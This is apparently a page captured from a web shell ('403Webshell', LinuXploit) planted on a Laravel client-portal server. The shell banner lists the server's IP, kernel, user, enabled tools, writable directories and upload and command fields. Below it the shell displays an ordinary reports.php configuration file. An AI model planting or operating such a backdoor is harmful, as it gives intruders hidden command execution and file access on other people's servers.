403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/client-portal-laravel/releases/20260626120707/config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/client-portal-laravel/releases/20260626120707/config/reports.php
<?php

declare(strict_types=1);

return [
    /*
    |--------------------------------------------------------------------------
    | Report Templates
    |--------------------------------------------------------------------------
    |
    | Available report templates with their class mappings and descriptions.
    |
    */
    'templates' => [
        'revenue' => [
            'name' => 'Revenue Summary',
            'description' => 'Monthly revenue breakdown by client and project',
            'class' => \App\Services\Reports\Types\RevenueReport::class,
            'icon' => 'currency-dollar',
            'category' => 'financial',
        ],
        'profitability' => [
            'name' => 'Client Profitability',
            'description' => 'Revenue vs costs analysis by client',
            'class' => \App\Services\Reports\Types\ProfitabilityReport::class,
            'icon' => 'chart-pie',
            'category' => 'financial',
        ],
        'cash_flow' => [
            'name' => 'Cash Flow',
            'description' => 'Income and payment timing analysis',
            'class' => \App\Services\Reports\Types\CashFlowReport::class,
            'icon' => 'banknotes',
            'category' => 'financial',
        ],
        'aging' => [
            'name' => 'Invoice Aging',
            'description' => 'Outstanding invoices by age buckets',
            'class' => \App\Services\Reports\Types\AgingReport::class,
            'icon' => 'clock',
            'category' => 'financial',
        ],
        'tax_summary' => [
            'name' => 'Tax Summary',
            'description' => 'Tax collected and payable summary',
            'class' => \App\Services\Reports\Types\TaxSummaryReport::class,
            'icon' => 'receipt-percent',
            'category' => 'financial',
        ],
        'project_health' => [
            'name' => 'Project Health',
            'description' => 'Status of all projects with health indicators',
            'class' => \App\Services\Reports\Types\ProjectHealthReport::class,
            'icon' => 'clipboard-document-check',
            'category' => 'projects',
        ],
        'resource_utilization' => [
            'name' => 'Resource Utilization',
            'description' => 'Team allocation and capacity analysis',
            'class' => \App\Services\Reports\Types\ResourceUtilizationReport::class,
            'icon' => 'user-group',
            'category' => 'projects',
        ],
        'time_tracking' => [
            'name' => 'Time Tracking',
            'description' => 'Time entries by project, user, and period',
            'class' => \App\Services\Reports\Types\TimeTrackingReport::class,
            'icon' => 'clock',
            'category' => 'projects',
        ],
        'client_engagement' => [
            'name' => 'Client Engagement',
            'description' => 'Client activity and interaction metrics',
            'class' => \App\Services\Reports\Types\ClientEngagementReport::class,
            'icon' => 'users',
            'category' => 'clients',
        ],
        'client_retention' => [
            'name' => 'Client Retention',
            'description' => 'Retention rates and churn analysis',
            'class' => \App\Services\Reports\Types\ClientRetentionReport::class,
            'icon' => 'arrow-trending-up',
            'category' => 'clients',
        ],
        'user_activity' => [
            'name' => 'User Activity',
            'description' => 'System activity and audit log summary',
            'class' => \App\Services\Reports\Types\UserActivityReport::class,
            'icon' => 'document-text',
            'category' => 'system',
        ],
    ],

    /*
    |--------------------------------------------------------------------------
    | Report Categories
    |--------------------------------------------------------------------------
    |
    | Categories for organizing reports in the UI.
    |
    */
    'categories' => [
        'financial' => [
            'name' => 'Financial Reports',
            'description' => 'Revenue, profitability, and cash flow analysis',
            'icon' => 'currency-dollar',
        ],
        'projects' => [
            'name' => 'Project Reports',
            'description' => 'Project health, resources, and time tracking',
            'icon' => 'folder',
        ],
        'clients' => [
            'name' => 'Client Reports',
            'description' => 'Client engagement and retention metrics',
            'icon' => 'users',
        ],
        'system' => [
            'name' => 'System Reports',
            'description' => 'Activity logs and system analytics',
            'icon' => 'cog',
        ],
    ],

    /*
    |--------------------------------------------------------------------------
    | Scheduling Configuration
    |--------------------------------------------------------------------------
    |
    | Settings for scheduled report delivery.
    |
    */
    'scheduling' => [
        'frequencies' => [
            'daily' => [
                'label' => 'Daily',
                'description' => 'Sent every day at 8:00 AM',
            ],
            'weekly' => [
                'label' => 'Weekly',
                'description' => 'Sent every Monday at 8:00 AM',
            ],
            'monthly' => [
                'label' => 'Monthly',
                'description' => 'Sent on the 1st of each month',
            ],
            'quarterly' => [
                'label' => 'Quarterly',
                'description' => 'Sent at the start of each quarter',
            ],
        ],
        'default_hour' => 8, // 8 AM
        'timezone' => env('REPORT_TIMEZONE', 'UTC'),
    ],

    /*
    |--------------------------------------------------------------------------
    | Export Formats
    |--------------------------------------------------------------------------
    |
    | Available export formats for reports.
    |
    */
    'export' => [
        'formats' => [
            'csv' => [
                'label' => 'CSV',
                'mime' => 'text/csv',
                'extension' => 'csv',
            ],
            'xlsx' => [
                'label' => 'Excel (XLSX)',
                'mime' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
                'extension' => 'xlsx',
            ],
            'pdf' => [
                'label' => 'PDF',
                'mime' => 'application/pdf',
                'extension' => 'pdf',
            ],
            'json' => [
                'label' => 'JSON',
                'mime' => 'application/json',
                'extension' => 'json',
            ],
        ],
        'max_rows' => 10000,
        'retention_days' => 30, // How long to keep generated reports
    ],

    /*
    |--------------------------------------------------------------------------
    | Custom Report Builder
    |--------------------------------------------------------------------------
    |
    | Settings for the custom report builder.
    |
    */
    'custom_builder' => [
        'enabled' => true,
        'max_columns' => 20,
        'max_filters' => 10,
        'max_aggregations' => 5,
        'allowed_data_sources' => [
            'invoices',
            'projects',
            'clients',
            'time_entries',
        ],
    ],

    /*
    |--------------------------------------------------------------------------
    | Chart Settings
    |--------------------------------------------------------------------------
    |
    | Default chart configurations for report visualizations.
    |
    */
    'charts' => [
        'default_type' => 'line',
        'types' => ['line', 'bar', 'pie', 'doughnut', 'area'],
        'colors' => [
            '#4F46E5', // Indigo
            '#10B981', // Emerald
            '#F59E0B', // Amber
            '#EF4444', // Red
            '#8B5CF6', // Violet
            '#06B6D4', // Cyan
            '#EC4899', // Pink
            '#6366F1', // Indigo light
        ],
    ],

    /*
    |--------------------------------------------------------------------------
    | Report Storage
    |--------------------------------------------------------------------------
    |
    | Where generated reports are stored.
    |
    */
    'storage' => [
        'disk' => 'local',
        'path' => 'reports',
        'public' => false,
    ],
];

Youez - 2016 - github.com/yon3zu
LinuXploit